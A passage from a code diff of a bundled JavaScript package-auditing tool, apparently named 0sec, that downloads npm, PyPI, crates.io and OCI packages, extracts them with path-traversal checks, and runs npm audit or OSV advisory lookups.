stage: "prepare",
|
|
359
|
+
message: `Installed ${spec} with --legacy-peer-deps fallback (peer-dep conflict in upstream package; advisories were still collected, but transitive peer ranges may be inconsistent).`
|
|
360
|
+
});
|
|
361
|
+
}
|
|
362
|
+
} catch (err) {
|
|
363
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
364
|
+
return restoreNpmFixtureOrThrow(packageName, tempDir, `Failed to install ${spec}: ${msg}`, emit);
|
|
365
|
+
}
|
|
366
|
+
const pkgJsonPath = join2(tempDir, "node_modules", packageName, "package.json");
|
|
367
|
+
if (!existsSync(pkgJsonPath)) {
|
|
368
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
369
|
+
throw new Error(`Package ${packageName} not found after install. Check the package name.`);
|
|
370
|
+
}
|
|
371
|
+
const pkgJson = JSON.parse(readFileSync(pkgJsonPath, "utf8"));
|
|
372
|
+
const installedVersion = pkgJson.version;
|
|
373
|
+
const packagePath = join2(tempDir, "node_modules", packageName);
|
|
374
|
+
emit({ type: "stage:end", stage: "discovery", message: `Installed ${packageName}@${installedVersion}` });
|
|
375
|
+
return {
|
|
376
|
+
ecosystem: "npm",
|
|
377
|
+
name: packageName,
|
|
378
|
+
version: installedVersion,
|
|
379
|
+
path: packagePath,
|
|
380
|
+
tempDir
|
|
381
|
+
};
|
|
382
|
+
}
|
|
383
|
+
function extractSingleArchive(archivePath, outputDir) {
|
|
384
|
+
execFileSync("python3", ["-c", `
|
|
385
|
+
import pathlib, tarfile, zipfile, sys
|
|
386
|
+
archive = pathlib.Path(sys.argv[1])
|
|
387
|
+
out = pathlib.Path(sys.argv[2]).resolve()
|
|
388
|
+
out.mkdir(parents=True, exist_ok=True)
|
|
389
|
+
|
|
390
|
+
def ensure_within_output(member_name):
|
|
391
|
+
target = (out / member_name).resolve()
|
|
392
|
+
if target != out and out not in target.parents:
|
|
393
|
+
raise RuntimeError(f"unsafe archive member path: {member_name}")
|
|
394
|
+
|
|
395
|
+
name = archive.name
|
|
396
|
+
if name.endswith((".whl", ".zip")):
|
|
397
|
+
with zipfile.ZipFile(archive) as zf:
|
|
398
|
+
for member in zf.infolist():
|
|
399
|
+
ensure_within_output(member.filename)
|
|
400
|
+
zf.extractall(out)
|
|
401
|
+
else:
|
|
402
|
+
with tarfile.open(archive) as tf:
|
|
403
|
+
for member in tf.getmembers():
|
|
404
|
+
ensure_within_output(member.name)
|
|
405
|
+
if member.issym() or member.islnk():
|
|
406
|
+
raise RuntimeError(f"unsafe archive link member: {member.name}")
|
|
407
|
+
tf.extractall(out)
|
|
408
|
+
`, archivePath, outputDir], { stdio: "pipe", timeout: 6e4 });
|
|
409
|
+
}
|
|
410
|
+
function pickPythonScopePath(extractRoot) {
|
|
411
|
+
const entries = readdirSync(extractRoot).map((name) => join2(extractRoot, name)).filter((abs) => existsSync(abs) && statSync(abs).isDirectory());
|
|
412
|
+
return entries.length === 1 ? entries[0] : extractRoot;
|
|
413
|
+
}
|
|
414
|
+
function readPythonVersionFromMetadata(scopePath) {
|
|
415
|
+
const candidates = [];
|
|
416
|
+
const stack = [scopePath];
|
|
417
|
+
while (stack.length > 0) {
|
|
418
|
+
const current = stack.pop();
|
|
419
|
+
let entries = [];
|
|
420
|
+
try {
|
|
421
|
+
entries = readdirSync(current);
|
|
422
|
+
} catch {
|
|
423
|
+
continue;
|
|
424
|
+
}
|
|
425
|
+
for (const entry of entries) {
|
|
426
|
+
const abs = join2(current, entry);
|
|
427
|
+
let st;
|
|
428
|
+
try {
|
|
429
|
+
st = statSync(abs);
|
|
430
|
+
} catch {
|
|
431
|
+
continue;
|
|
432
|
+
}
|
|
433
|
+
if (st.isDirectory()) {
|
|
434
|
+
if (entry.endsWith(".dist-info")) {
|
|
435
|
+
candidates.push(join2(abs, "METADATA"));
|
|
436
|
+
} else {
|
|
437
|
+
stack.push(abs);
|
|
438
|
+
}
|
|
439
|
+
} else if (entry === "PKG-INFO") {
|
|
440
|
+
candidates.push(abs);
|
|
441
|
+
}
|
|
442
|
+
}
|
|
443
|
+
}
|
|
444
|
+
for (const metadataPath of candidates) {
|
|
445
|
+
if (!existsSync(metadataPath))
|
|
446
|
+
continue;
|
|
447
|
+
const content = readFileSync(metadataPath, "utf8");
|
|
448
|
+
const match = content.match(/^Version:\s*(.+)$/m);
|
|
449
|
+
if (match?.[1])
|
|
450
|
+
return match[1].trim();
|
|
451
|
+
}
|
|
452
|
+
return void 0;
|
|
453
|
+
}
|
|
454
|
+
function readPythonVersionFromArchiveName(packageName, archivePath) {
|
|
455
|
+
const filename = archivePath.split("/").pop() ?? "";
|
|
456
|
+
const stem = filename.replace(/\.(?:tar\.gz|zip|whl)$/i, "");
|
|
457
|
+
const normalized = packageName.replace(/-/g, "_");
|
|
458
|
+
for (const prefix of [`${packageName}-`, `${normalized}-`]) {
|
|
459
|
+
if (!stem.startsWith(prefix))
|
|
460
|
+
continue;
|
|
461
|
+
const rest = stem.slice(prefix.length);
|
|
462
|
+
const version = rest.split("-")[0];
|
|
463
|
+
if (version)
|
|
464
|
+
return version;
|
|
465
|
+
}
|
|
466
|
+
return void 0;
|
|
467
|
+
}
|
|
468
|
+
function downloadPypiArchive(packageName, requestedVersion, downloadDir) {
|
|
469
|
+
const script = String.raw`
|
|
470
|
+
import json, pathlib, sys, urllib.parse, urllib.request
|
|
471
|
+
|
|
472
|
+
package_name = sys.argv[1]
|
|
473
|
+
requested_version = sys.argv[2] or None
|
|
474
|
+
download_dir = pathlib.Path(sys.argv[3])
|
|
475
|
+
download_dir.mkdir(parents=True, exist_ok=True)
|
|
476
|
+
encoded_name = urllib.parse.quote(package_name, safe="")
|
|
477
|
+
if requested_version:
|
|
478
|
+
encoded_version = urllib.parse.quote(requested_version, safe="")
|
|
479
|
+
metadata_url = f"https://pypi.org/pypi/{encoded_name}/{encoded_version}/json"
|
|
480
|
+
else:
|
|
481
|
+
metadata_url = f"https://pypi.org/pypi/{encoded_name}/json"
|
|
482
|
+
|
|
483
|
+
with urllib.request.urlopen(metadata_url, timeout=60) as response:
|
|
484
|
+
metadata = json.load(response)
|
|
485
|
+
|
|
486
|
+
urls = metadata.get("urls") or []
|
|
487
|
+
sdists = [item for item in urls if item.get("packagetype") == "sdist"]
|
|
488
|
+
wheels = [item for item in urls if item.get("packagetype") == "bdist_wheel"]
|
|
489
|
+
choices = sdists + wheels
|
|
490
|
+
if not choices:
|
|
491
|
+
raise SystemExit(f"no downloadable sdist or wheel for {package_name}")
|
|
492
|
+
|
|
493
|
+
choice = choices[0]
|
|
494
|
+
filename = choice.get("filename") or pathlib.PurePosixPath(urllib.parse.urlparse(choice["url"]).path).name
|
|
495
|
+
archive_path = download_dir / filename
|
|
496
|
+
request = urllib.request.Request(choice["url"], headers={"User-Agent": "0sec-ci/0.1 (+https://github.com/0sec-labs/0sec)"})
|
|
497
|
+
with urllib.request.urlopen(request, timeout=120) as response, archive_path.open("wb") as handle:
|
|
498
|
+
handle.write(response.read())
|
|
499
|
+
|
|
500
|
+
print(json.dumps({"archivePath": str(archive_path), "resolvedVersion": metadata.get("info", {}).get("version") or requested_version or "unknown"}))
|
|
501
|
+
`;
|
|
502
|
+
const rawOutput = execFileSync("python3", ["-c", script, packageName, requestedVersion ?? "", downloadDir], {
|
|
503
|
+
encoding: "utf8",
|
|
504
|
+
timeout: 18e4,
|
|
505
|
+
stdio: ["ignore", "pipe", "pipe"]
|
|
506
|
+
});
|
|
507
|
+
return JSON.parse(rawOutput);
|
|
508
|
+
}
|
|
509
|
+
function installPypiPackage(packageName, requestedVersion, emit) {
|
|
510
|
+
const tempDir = join2(tmpdir(), `0sec-audit-${randomUUID().slice(0, 8)}`);
|
|
511
|
+
const downloadDir = join2(tempDir, "downloads");
|
|
512
|
+
const extractDir = join2(tempDir, "src");
|
|
513
|
+
mkdirSync2(downloadDir, { recursive: true });
|
|
514
|
+
mkdirSync2(extractDir, { recursive: true });
|
|
515
|
+
const spec = requestedVersion ? `${packageName}==${requestedVersion}` : packageName;
|
|
516
|
+
emit({ type: "stage:start", stage: "discovery", message: `Downloading PyPI package ${spec}...` });
|
|
517
|
+
let archivePath;
|
|
518
|
+
let installedVersion = requestedVersion;
|
|
519
|
+
try {
|
|
520
|
+
const downloaded = downloadPypiArchive(packageName, requestedVersion, downloadDir);
|
|
521
|
+
archivePath = downloaded.archivePath;
|
|
522
|
+
installedVersion = downloaded.resolvedVersion;
|
|
523
|
+
} catch (err) {
|
|
524
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
525
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
526
|
+
throw new Error(`Failed to download ${spec} from PyPI: ${msg}`);
|
|
527
|
+
}
|
|
528
|
+
extractSingleArchive(archivePath, extractDir);
|
|
529
|
+
const scopePath = pickPythonScopePath(extractDir);
|
|
530
|
+
const pyprojectPath = join2(scopePath, "pyproject.toml");
|
|
531
|
+
const setupPyPath = join2(scopePath, "setup.py");
|
|
532
|
+
if (!installedVersion && existsSync(pyprojectPath)) {
|
|
533
|
+
const content = readFileSync(pyprojectPath, "utf8");
|
|
534
|
+
const match = content.match(/^\s*version\s*=\s*["']([^"']+)["']/m);
|
|
535
|
+
installedVersion = match?.[1];
|
|
536
|
+
}
|
|
537
|
+
if (!installedVersion && existsSync(setupPyPath)) {
|
|
538
|
+
const content = readFileSync(setupPyPath, "utf8");
|
|
539
|
+
const match = content.match(/version\s*=\s*["']([^"']+)["']/m);
|
|
540
|
+
installedVersion = match?.[1];
|
|
541
|
+
}
|
|
542
|
+
if (!installedVersion) {
|
|
543
|
+
installedVersion = readPythonVersionFromMetadata(scopePath);
|
|
544
|
+
}
|
|
545
|
+
if (!installedVersion) {
|
|
546
|
+
installedVersion = readPythonVersionFromArchiveName(packageName, archivePath);
|
|
547
|
+
}
|
|
548
|
+
installedVersion = installedVersion ?? "unknown";
|
|
549
|
+
writeFileSync2(join2(tempDir, "requirements.txt"), `${packageName}==${installedVersion}
|
|
550
|
+
`, "utf8");
|
|
551
|
+
emit({ type: "stage:end", stage: "discovery", message: `Prepared ${packageName}==${installedVersion} from PyPI` });
|
|
552
|
+
return {
|
|
553
|
+
ecosystem: "pypi",
|
|
554
|
+
name: packageName,
|
|
555
|
+
version: installedVersion,
|
|
556
|
+
path: scopePath,
|
|
557
|
+
tempDir
|
|
558
|
+
};
|
|
559
|
+
}
|
|
560
|
+
function resolveCargoVersion(packageName, requestedVersion) {
|
|
561
|
+
if (requestedVersion)
|
|
562
|
+
return requestedVersion;
|
|
563
|
+
const raw = execFileSync("curl", buildCratesIoCurlArgs(`https://crates.io/api/v1/crates/${packageName}`), {
|
|
564
|
+
encoding: "utf8",
|
|
565
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
566
|
+
timeout: 6e4
|
|
567
|
+
});
|
|
568
|
+
const parsed = JSON.parse(raw);
|
|
569
|
+
return parsed.crate?.max_stable_version ?? parsed.crate?.max_version ?? parsed.crate?.newest_version ?? "latest";
|
|
570
|
+
}
|
|
571
|
+
function installCargoPackage(packageName, requestedVersion, emit) {
|
|
572
|
+
const tempDir = join2(tmpdir(), `0sec-audit-${randomUUID().slice(0, 8)}`);
|
|
573
|
+
const downloadDir = join2(tempDir, "downloads");
|
|
574
|
+
const extractDir = join2(tempDir, "src");
|
|
575
|
+
mkdirSync2(downloadDir, { recursive: true });
|
|
576
|
+
mkdirSync2(extractDir, { recursive: true });
|
|
577
|
+
const version = resolveCargoVersion(packageName, requestedVersion);
|
|
578
|
+
emit({ type: "stage:start", stage: "discovery", message: `Downloading crates.io crate ${packageName}@${version}...` });
|
|
579
|
+
try {
|
|
580
|
+
execFileSync("curl", [
|
|
581
|
+
...buildCratesIoCurlArgs(`https://crates.io/api/v1/crates/${packageName}/${version}/download`),
|
|
582
|
+
"-o",
|
|
583
|
+
join2(downloadDir, `${packageName}-${version}.crate`)
|
|
584
|
+
], {
|
|
585
|
+
cwd: tempDir,
|
|
586
|
+
timeout: 12e4,
|
|
587
|
+
stdio: "pipe"
|
|
588
|
+
});
|
|
589
|
+
} catch (err) {
|
|
590
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
591
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
592
|
+
throw new Error(`Failed to download ${packageName}@${version} from crates.io: ${msg}`);
|
|
593
|
+
}
|
|
594
|
+
const archivePath = join2(downloadDir, `${packageName}-${version}.crate`);
|
|
595
|
+
extractSingleArchive(archivePath, extractDir);
|
|
596
|
+
const scopePath = pickPythonScopePath(extractDir);
|
|
597
|
+
const cargoTomlPath = join2(scopePath, "Cargo.toml");
|
|
598
|
+
let resolvedVersion = version;
|
|
599
|
+
if (existsSync(cargoTomlPath)) {
|
|
600
|
+
const content = readFileSync(cargoTomlPath, "utf8");
|
|
601
|
+
const match = content.match(/^\s*version\s*=\s*["']([^"']+)["']/m);
|
|
602
|
+
resolvedVersion = match?.[1] ?? version;
|
|
603
|
+
}
|
|
604
|
+
writeFileSync2(join2(tempDir, "Cargo.toml"), `[package]
|
|
605
|
+
name = "0sec-cargo-audit"
|
|
606
|
+
version = "0.1.0"
|
|
607
|
+
edition = "2021"
|
|
608
|
+
|
|
609
|
+
[dependencies]
|
|
610
|
+
${packageName} = "${resolvedVersion}"
|
|
611
|
+
`, "utf8");
|
|
612
|
+
mkdirSync2(join2(tempDir, "src"), { recursive: true });
|
|
613
|
+
writeFileSync2(join2(tempDir, "src", "main.rs"), "fn main() {}\n", "utf8");
|
|
614
|
+
try {
|
|
615
|
+
execFileSync("cargo", ["generate-lockfile"], {
|
|
616
|
+
cwd: tempDir,
|
|
617
|
+
timeout: 18e4,
|
|
618
|
+
stdio: "pipe"
|
|
619
|
+
});
|
|
620
|
+
} catch {
|
|
621
|
+
}
|
|
622
|
+
emit({ type: "stage:end", stage: "discovery", message: `Prepared ${packageName}@${resolvedVersion} from crates.io` });
|
|
623
|
+
return {
|
|
624
|
+
ecosystem: "cargo",
|
|
625
|
+
name: packageName,
|
|
626
|
+
version: resolvedVersion,
|
|
627
|
+
path: scopePath,
|
|
628
|
+
tempDir
|
|
629
|
+
};
|
|
630
|
+
}
|
|
631
|
+
function buildCratesIoCurlArgs(url) {
|
|
632
|
+
return [
|
|
633
|
+
"-fsSL",
|
|
634
|
+
"--retry",
|
|
635
|
+
"3",
|
|
636
|
+
"--retry-all-errors",
|
|
637
|
+
"--retry-delay",
|
|
638
|
+
"1",
|
|
639
|
+
"--connect-timeout",
|
|
640
|
+
"20",
|
|
641
|
+
"-H",
|
|
642
|
+
"User-Agent: 0sec-ci/0.1 (+https://github.com/0sec-labs/0sec)",
|
|
643
|
+
url
|
|
644
|
+
];
|
|
645
|
+
}
|
|
646
|
+
function hasExplicitOciTag(imageRef) {
|
|
647
|
+
if (imageRef.includes("@"))
|
|
648
|
+
return false;
|
|
649
|
+
const lastSlash = imageRef.lastIndexOf("/");
|
|
650
|
+
const lastColon = imageRef.lastIndexOf(":");
|
|
651
|
+
return lastColon > lastSlash;
|
|
652
|
+
}
|
|
653
|
+
function resolveOciImageRef(rawImageRef, requestedVersion) {
|
|
654
|
+
if (rawImageRef.includes("@")) {
|
|
655
|
+
const [name, digest] = rawImageRef.split("@", 2);
|
|
656
|
+
return { imageRef: rawImageRef, name, version: digest ?? "unknown" };
|
|
657
|
+
}
|
|
658
|
+
if (hasExplicitOciTag(rawImageRef)) {
|
|
659
|
+
const lastColon = rawImageRef.lastIndexOf(":");
|
|
660
|
+
return {
|
|
661
|
+
imageRef: rawImageRef,
|
|
662
|
+
name: rawImageRef.slice(0, lastColon),
|
|
663
|
+
version: rawImageRef.slice(lastColon + 1)
|
|
664
|
+
};
|
|
665
|
+
}
|
|
666
|
+
if (requestedVersion) {
|
|
667
|
+
return {
|
|
668
|
+
imageRef: `${rawImageRef}:${requestedVersion}`,
|
|
669
|
+
name: rawImageRef,
|
|
670
|
+
version: requestedVersion
|
|
671
|
+
};
|
|
672
|
+
}
|
|
673
|
+
return {
|
|
674
|
+
imageRef: rawImageRef,
|
|
675
|
+
name: rawImageRef,
|
|
676
|
+
version: "latest"
|
|
677
|
+
};
|
|
678
|
+
}
|
|
679
|
+
function hasExecutable(command, args = ["--version"]) {
|
|
680
|
+
try {
|
|
681
|
+
execFileSync(command, args, {
|
|
682
|
+
timeout: 1e4,
|
|
683
|
+
stdio: "ignore"
|
|
684
|
+
});
|
|
685
|
+
return true;
|
|
686
|
+
} catch {
|
|
687
|
+
return false;
|
|
688
|
+
}
|
|
689
|
+
}
|
|
690
|
+
function extractDockerArchiveLayers(archivePath, rootfsDir) {
|
|
691
|
+
const script = String.raw`
|
|
692
|
+
import json, pathlib, tarfile, sys
|
|
693
|
+
|
|
694
|
+
archive = pathlib.Path(sys.argv[1])
|
|
695
|
+
rootfs = pathlib.Path(sys.argv[2]).resolve()
|
|
696
|
+
work = (archive.parent / "docker-archive").resolve()
|
|
697
|
+
work.mkdir(parents=True, exist_ok=True)
|
|
698
|
+
rootfs.mkdir(parents=True, exist_ok=True)
|
|
699
|
+
|
|
700
|
+
def ensure_within(root, member_name):
|
|
701
|
+
target = (root / member_name).resolve()
|
|
702
|
+
if target != root and root not in target.parents:
|
|
703
|
+
raise RuntimeError(f"unsafe archive member path: {member_name}")
|
|
704
|
+
|
|
705
|
+
with tarfile.open(archive) as image_tar:
|
|
706
|
+
for member in image_tar.getmembers():
|
|
707
|
+
ensure_within(work, member.name)
|
|
708
|
+
if member.issym() or member.islnk():
|
|
709
|
+
raise RuntimeError(f"unsafe docker archive link member: {member.name}")
|
|
710
|
+
image_tar.extractall(work)
|
|
711
|
+
|
|
712
|
+
manifest_path = work / "manifest.json"
|
|
713
|
+
with manifest_path.open("r", encoding="utf-8") as handle:
|
|
714
|
+
manifest = json.load(handle)
|
|
715
|
+
layers = manifest[0].get("Layers", []) if manifest else []
|
|
716
|
+
|
|
717
|
+
for layer in layers:
|
|
718
|
+
layer_path = work / layer
|
|
719
|
+
if not layer_path.is_file():
|
|
720
|
+
continue
|
|
721
|
+
with tarfile.open(layer_path) as layer_tar:
|
|
722
|
+
for member in layer_tar.getmembers():
|
|
723
|
+
name = pathlib.PurePosixPath(member.name)
|
|
724
|
+
if any(part.startswith(".wh.") for part in name.parts):
|
|
725
|
+
continue
|
|
726
|
+
if member.issym() or member.islnk():
|
|
727
|
+
continue
|
|
728
|
+
target = (rootfs / name).resolve()
|
|
729
|
+
if target != rootfs and rootfs not in target.parents:
|
|
730
|
+
continue
|
|
731
|
+
layer_tar.extract(member, rootfs)
|
|
732
|
+
`;
|
|
733
|
+
execFileSync("python3", ["-c", script, archivePath, rootfsDir], {
|
|
734
|
+
timeout: 3e5,
|
|
735
|
+
stdio: "pipe"
|
|
736
|
+
});
|
|
737
|
+
}
|
|
738
|
+
function installOciImage(rawImageRef, requestedVersion, emit) {
|
|
739
|
+
const tempDir = join2(tmpdir(), `0sec-audit-${randomUUID().slice(0, 8)}`);
|
|
740
|
+
const rootfsDir = join2(tempDir, "rootfs");
|
|
741
|
+
const exportTar = join2(tempDir, "image.tar");
|
|
742
|
+
mkdirSync2(rootfsDir, { recursive: true });
|
|
743
|
+
const { imageRef, name, version } = resolveOciImageRef(rawImageRef, requestedVersion);
|
|
744
|
+
emit({ type: "stage:start", stage: "discovery", message: `Pulling OCI image ${imageRef}...` });
|
|
745
|
+
let containerId = "";
|
|
746
|
+
try {
|
|
747
|
+
if (hasExecutable("skopeo")) {
|
|
748
|
+
execFileSync("skopeo", [
|
|
749
|
+
"copy",
|
|
750
|
+
"--insecure-policy",
|
|
751
|
+
`docker://${imageRef}`,
|
|
752
|
+
`docker-archive:${exportTar}:${imageRef}`
|
|
753
|
+
], {
|
|
754
|
+
timeout: 3e5,
|
|
755
|
+
stdio: "pipe"
|
|
756
|
+
});
|
|
757
|
+
extractDockerArchiveLayers(exportTar, rootfsDir);
|
|
758
|
+
} else {
|
|
759
|
+
execFileSync("docker", ["pull", imageRef], {
|
|
760
|
+
timeout: 3e5,
|
|
761
|
+
stdio: "pipe"
|
|
762
|
+
});
|
|
763
|
+
containerId = execFileSync("docker", ["create", imageRef], {
|
|
764
|
+
encoding: "utf8",
|
|
765
|
+
timeout: 6e4,
|
|
766
|
+
stdio: ["pipe", "pipe", "pipe"]
|
|
767
|
+
}).trim();
|
|
768
|
+
execFileSync("docker", ["export", containerId, "-o", exportTar], {
|
|
769
|
+
timeout: 3e5,
|
|
770
|
+
stdio: "pipe"
|
|
771
|
+
});
|
|
772
|
+
execFileSync("tar", ["-xf", exportTar, "-C", rootfsDir], {
|
|
773
|
+
timeout: 3e5,
|
|
774
|
+
stdio: "pipe"
|
|
775
|
+
});
|
|
776
|
+
}
|
|
777
|
+
} catch (err) {
|
|
778
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
779
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
780
|
+
throw new Error(`Failed to prepare OCI image ${imageRef}: ${msg}`);
|
|
781
|
+
} finally {
|
|
782
|
+
if (containerId) {
|
|
783
|
+
try {
|
|
784
|
+
execFileSync("docker", ["rm", "-f", containerId], {
|
|
785
|
+
timeout: 3e4,
|
|
786
|
+
stdio: "pipe"
|
|
787
|
+
});
|
|
788
|
+
} catch {
|
|
789
|
+
}
|
|
790
|
+
}
|
|
791
|
+
}
|
|
792
|
+
emit({ type: "stage:end", stage: "discovery", message: `Prepared OCI image ${name}:${version}` });
|
|
793
|
+
return {
|
|
794
|
+
ecosystem: "oci",
|
|
795
|
+
name,
|
|
796
|
+
version,
|
|
797
|
+
path: rootfsDir,
|
|
798
|
+
tempDir
|
|
799
|
+
};
|
|
800
|
+
}
|
|
801
|
+
function installPackageForEcosystem(ecosystem, rawPackageName, requestedVersion, emit) {
|
|
802
|
+
if (ecosystem === "oci")
|
|
803
|
+
return installOciImage(rawPackageName, requestedVersion, emit);
|
|
804
|
+
const { packageName, version } = splitPackageSpec(rawPackageName, requestedVersion);
|
|
805
|
+
if (ecosystem === "pypi")
|
|
806
|
+
return installPypiPackage(packageName, version, emit);
|
|
807
|
+
if (ecosystem === "cargo")
|
|
808
|
+
return installCargoPackage(packageName, version, emit);
|
|
809
|
+
return installNpmPackage(packageName, version, emit);
|
|
810
|
+
}
|
|
811
|
+
function runDependencyAuditForEcosystem(ecosystem, projectDir, emit, rootPackage) {
|
|
812
|
+
if (ecosystem === "oci") {
|
|
813
|
+
emit({ type: "stage:start", stage: "discovery", message: "OCI image advisory lookup unavailable" });
|
|
814
|
+
emit({ type: "stage:end", stage: "discovery", message: "OCI image advisory lookup unavailable" });
|
|
815
|
+
return [];
|
|
816
|
+
}
|
|
817
|
+
if (ecosystem === "cargo") {
|
|
818
|
+
emit({ type: "stage:start", stage: "discovery", message: "Running OSV advisory lookup for crates.io..." });
|
|
819
|
+
const findings2 = rootPackage ? queryOsvAdvisoriesSync(ecosystem, rootPackage.name, rootPackage.version) : [];
|
|
820
|
+
emit({ type: "stage:end", stage: "discovery", message: `OSV crates.io lookup: ${findings2.length} advisories` });
|
|
821
|
+
return findings2;
|
|
822
|
+
}
|
|
823
|
+
if (ecosystem === "pypi") {
|
|
824
|
+
emit({ type: "stage:start", stage: "discovery", message: "Running OSV advisory lookup for PyPI..." });
|
|
825
|
+
const findings2 = rootPackage ? queryOsvAdvisoriesSync(ecosystem, rootPackage.name, rootPackage.version) : [];
|
|
826
|
+
emit({ type: "stage:end", stage: "discovery", message: `OSV PyPI lookup: ${findings2.length} advisories` });
|
|
827
|
+
return findings2;
|
|
828
|
+
}
|
|
829
|
+
emit({ type: "stage:start", stage: "discovery", message: "Running npm audit..." });
|
|
830
|
+
let rawOutput = "";
|
|
831
|
+
try {
|
|
832
|
+
rawOutput = execSync("npm audit --json", {
|
|
833
|
+
cwd: projectDir,
|
|
834
|
+
timeout: 12e4,
|
|
835
|
+
stdio: "pipe"
|
|
836
|
+
}).toString("utf-8");
|
|
837
|
+
} catch (err) {
|
|
838
|
+
const stdout = err && typeof err === "object" && "stdout" in err ? err.stdout : void 0;
|
|
839
|
+
const stderr = err && typeof err === "object" && "stderr" in err ? err.stderr : void 0;
|
|
840
|
+
rawOutput = bufferToString(stdout) || bufferToString(stderr) || "";
|
|
841
|
+
}
|
|
842
|
+
const findings = parseNpmAuditOutput(rawOutput);
|
|
843
|
+
emit({ type: "stage:end", stage: "discovery", message: `npm audit: ${findings.length} advisories` });
|
|
844
|
+
return findings;
|
|
845
|
+
}
|
|
846
|
+
function walkInstalledNpmTree(projectDir, rootName, maxPackages = 5e3) {
|
|
847
|
+
const out = [];
|
|
848
|
+
const rootLower = rootName.toLowerCase();
|
|
849
|
+
function readPackage(pkgDir) {
|
|
850
|
+
const pkgJsonPath = join2(pkgDir, "package.json");
|
|
851
|
+
if (!existsSync(pkgJsonPath))
|
|
852
|
+
return null;
|
|
853
|
+
try {
|
|
854
|
+
const pkg = JSON.parse(readFileSync(pkgJsonPath, "utf8"));
|
|
855
|
+
if (!pkg.name)
|
|
856
|
+
return null;
|
|
857
|
+
return { name: pkg.name, version: typeof pkg.version === "string" ? pkg.version : "unknown" };
|
|
858
|
+
} catch {
|
|
859
|
+
return null;
|
|
860
|
+
}
|
|
861
|
+
}
|
|
862
|
+
function listPackageDirs(nodeModulesDir) {
|
|
863
|
+
let entries = [];
|
|
864
|
+
try {
|
|
865
|
+
entries = readdirSync(nodeModulesDir);
|
|
866
|
+
} catch {
|
|
867
|
+
return [];
|
|
868
|
+
}
|
|
869
|
+
const dirs = [];
|
|
870
|
+
for (const entry of entries) {
|
|
871
|
+
if (entry === ".bin" || entry === ".cache" || entry === ".package-lock.json")
|
|
872
|
+
continue;
|
|
873
|
+
const abs = join2(nodeModulesDir, entry);
|
|
874
|
+
try {
|
|
875
|
+
if (!statSync(abs).isDirectory())
|
|
876
|
+
continue;
|
|
877
|
+
} catch {
|
|
878
|
+
continue;
|
|
879
|
+
}
|
|
880
|
+
if (entry.startsWith("@")) {
|
|
881
|
+
let scoped = [];
|
|
882
|
+
try {
|
|
883
|
+
scoped = readdirSync(abs);
|
|
884
|
+
} catch {
|
|
885
|
+
continue;
|
|
886
|
+
}
|
|
887
|
+
for (const inner of scoped) {
|
|
888
|
+
const innerAbs = join2(abs, inner);
|
|
889
|
+
try {
|
|
890
|
+
if (statSync(innerAbs).isDirectory())
|
|
891
|
+
dirs.push(innerAbs);
|
|
892
|
+
} catch {
|
|
893
|
+
}
|
|
894
|
+
}
|
|
895
|
+
} else {
|
|
896
|
+
dirs.push(abs);
|
|
897
|
+
}
|
|
898
|
+
}
|
|
899
|
+
return dirs;
|
|
900
|
+
}
|
|
901
|
+
function walk(nodeModulesDir, depth, pathPrefix) {
|
|
902
|
+
if (out.length >= maxPackages)
|
|
903
|
+
return;
|
|
904
|
+
for (const pkgDir of listPackageDirs(nodeModulesDir)) {
|
|
905
|
+
if (out.length >= maxPackages)
|
|
906
|
+
return;
|
|
907
|
+
const meta = readPackage(pkgDir);
|
|
908
|
+
if (!meta)
|
|
909
|
+
continue;
|
|
910
|
+
const dependencyPath = [...pathPrefix, meta.name];
|
|
911
|
+
if (!(depth === 1 && meta.name.toLowerCase() === rootLower)) {
|
|
912
|
+
out.push({ name: meta.name, version: meta.version, path: pkgDir, depth, dependencyPath });
|
|
913
|
+
}
|
|
914
|
+
const nested = join2(pkgDir, "node_modules");
|
|
915
|
+
if (existsSync(nested))
|
|
916
|
+
walk(nested, depth + 1, dependencyPath);
|
|
917
|
+
}
|
|
918
|
+
}
|
|
919
|
+
walk(join2(projectDir, "node_modules"), 1, [rootName]);
|
|
920
|
+
return out;
|
|
921
|
+
}
|
|
922
|
+
async function probePublicNpmRegistry(packageName, opts = {}) {
|
|
923
|
+
const fetchImpl = opts.fetchImpl ?? fetch;
|
|
924
|
+
const url = `https://registry.npmjs.org/${packageName.replace("/", "%2f")}`;
|
|
925
|
+
const controller = new AbortController();
|
|
926
|
+
const timer = setTimeout(() => controller.abort(), opts.timeoutMs ?? 15e3);
|
|
927
|
+
try {
|
|
928
|
+
const res = await fetchImpl(url, {
|
|
929
|
+
headers: { Accept: "application/json", "User-Agent": "0sec-supply-chain/0.1" },
|
|
930
|
+
signal: controller.signal
|
|
931
|
+
});
|
|
932
|
+
if (res.status === 404)
|
|
933
|
+
return { exists: false };
|
|
934
|
+
if (!res.ok)
|
|
935
|
+
return { exists: false };
|
|
936
|
+
const meta = await res.json();
|
|
937
|
+
const maintainers = (meta.maintainers ?? []).map((m) => typeof m === "string" ? m : m?.name).filter((m) => typeof m === "string" && m.length > 0);
|
|
938
|
+
return {
|
|
939
|
+
exists: true,
|
|
940
|
+
latestVersion: meta["dist-tags"]?.latest,
|
|
941
|
+
maintainers: maintainers.length > 0 ? maintainers : void 0
|
|
942
|
+
};
|
|
943
|
+
} catch {
|
|
944
|
+
return { exists: false };
|
|
945
|
+
} finally {
|
|
946
|
+
clearTimeout(timer);
|
|
947
|
+
}
|
|
948
|
+
}
|
|
949
|
+
|
|
950
|
+
// packages/core/dist/path-resolution.js
|
|
951
|
+
import { statSync as statSync2 } from "node:fs";
|
|
952
|
+
import { homedir } from "node:os";
|
|
953
|
+
import { isAbsolute, resolve } from "node:path";
|
|
954
|
+
function expandHomePath(input, homeDir = homedir()) {
|
|
955
|
+
if (input === "~")
|
|
956
|
+
return homeDir;
|
|
957
|
+
if (input.startsWith("~/"))
|
|
958
|
+
return resolve(homeDir, input.slice(2));
|
|
959
|
+
return input;
|
|
960
|
+
}
|
|
961
|
+
function resolveLocalTargetPath(input, opts = {}) {
|
|
962
|
+
const expanded = expandHomePath(input, opts.homeDir);
|
|
963
|
+
if (isAbsolute(expanded))
|
|
964
|
+
return resolve(expanded);
|
|
965
|
+
